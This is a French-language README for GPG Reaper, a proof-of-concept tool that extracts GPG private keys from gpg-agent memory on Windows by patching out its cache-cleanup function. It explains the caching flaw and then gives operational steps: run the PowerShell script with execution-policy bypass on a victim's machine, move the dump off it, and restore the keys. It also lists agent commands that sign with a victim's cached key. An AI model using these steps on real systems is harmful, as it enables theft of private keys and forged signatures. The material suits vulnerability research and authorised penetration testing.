
GPG Reaper - Obtenir/Voler/Restaurer des clés privées GPG depuis le cache/mémoire de gpg-agent
TL;DR: Obtenir/Voler/Restaurer les clés privées GPG depuis le cache/mémoire de gpg-agent
Cette preuve de concept démontre une méthode pour obtenir les clés privées GPG depuis la mémoire de gpg-agent sous Windows.
Normalement, cela ne devrait être possible que dans un délai de 10 minutes (valeur de --default-cache-ttl).
Malheureusement, la fonction housekeeping() (responsable du nettoyage du cache) n'est exécutée que si vous utilisez GPG (il n'y a pas de minuteur).
Cela signifie que dans un cas d'utilisation normal de GPG, comme : vous signez un fichier, puis fermez l'interface graphique et faites autre chose, votre mot de passe est toujours en mémoire dans gpg-agent (même si le ttl a expiré).
Un attaquant ayant accès à votre session en cours peut utiliser cela pour voler la clé privée sans connaître votre phrase de passe.
ATTENTION : GPG modifiera le mécanisme de mise en cache dans la version 2.2.6. Consultez le commit et le problème.

pip install PGPy
Si vous obtenez :
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` en exécutant le script Python alors :
alors :
pip install six==1.10.0
1. Installez Gpg4Win 3.0.3
2. Ouvrez une ligne de commande et démarrez l'agent avec un temps de cache de 2 secondes :
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Lancez Kleopatra et générez une nouvelle paire de clés

4. Signez un fichier test exemple

5. Pinetry s'affichera et vous demandera votre phrase de passe

6. Répétez les étapes 4-5. Chaque fois que pinetry apparaît parce que notre cache de 2 secondes a expiré
7. Lancez GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Vous verrez quelque chose comme :
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Comme vous pouvez le voir, nous avons dumpé la clé. Cela est possible car nous avons noppé la fonction housekeeping.
8. Restaurez la clé privée :
python gpg_reaper.py .\testme.txt
La clé privée est dumpée dans le fichier :
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent est un démon qui gère les clés privées indépendamment de tout protocole.
L'interface graphique communique avec l'agent en utilisant le Protocole Assuan.
Par défaut, l'agent met en cache vos identifiants.
L'option --default-cache-ttl n définit le temps de validité d'une entrée de cache à n secondes.
La valeur par défaut est 600 secondes. Chaque fois qu'une entrée de cache est consultée, son compteur est réinitialisé.
Sous Windows, le processus de signature se déroule comme ceci :

La partie cruciale ici est la fonction housekeeping() qui est responsable de la suppression des identifiants expirés de la mémoire.
Mais il y a un problème : cette fonction n'est exécutée qu'à deux endroits (dans agent_put_cache et agent_get_cache).
Cela signifie que les identifiants mis en cache ne sont PAS retirés de la mémoire tant qu'aucune commande gpg-agent utilisant agent_put_cache, agent_get_cache ou agent_flush_cache n'est exécutée.
Sur l'ordinateur de la victime :
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Transférez out.txt vers votre machine et restaurez les clés privées :
gpg_reaper.py out.txt
Les clés privées seront déposées dans des fichiers séparés.
Si GPG est installé en dehors des répertoires par défaut :
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Si vous ne voulez pas de messages de débogage :
Gpg-Reaper -Verbose $false
Supposons que vous effectuez un test de pénétration et que vous obtenez un shell sur un ordinateur avec GPG installé.
Si vous avez de la chance et que l'utilisateur a utilisé GPG récemment et que le cache n'a pas expiré, vous pouvez :
1. Signer un fichier :
Lancez c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 du message
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. Exporter la clé privée :
Lancez c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
Malheureusement, cela ne fonctionne pas comme prévu et demande un mot de passe.
Pourquoi ? Parce que la fonction cmd_export_key() exécute agent_key_from_file() avec le drapeau CACHE_MODE_IGNORE ce qui signifie que le cache ne sera pas utilisé et que l'utilisateur doit saisir sa phrase de passe à chaque fois.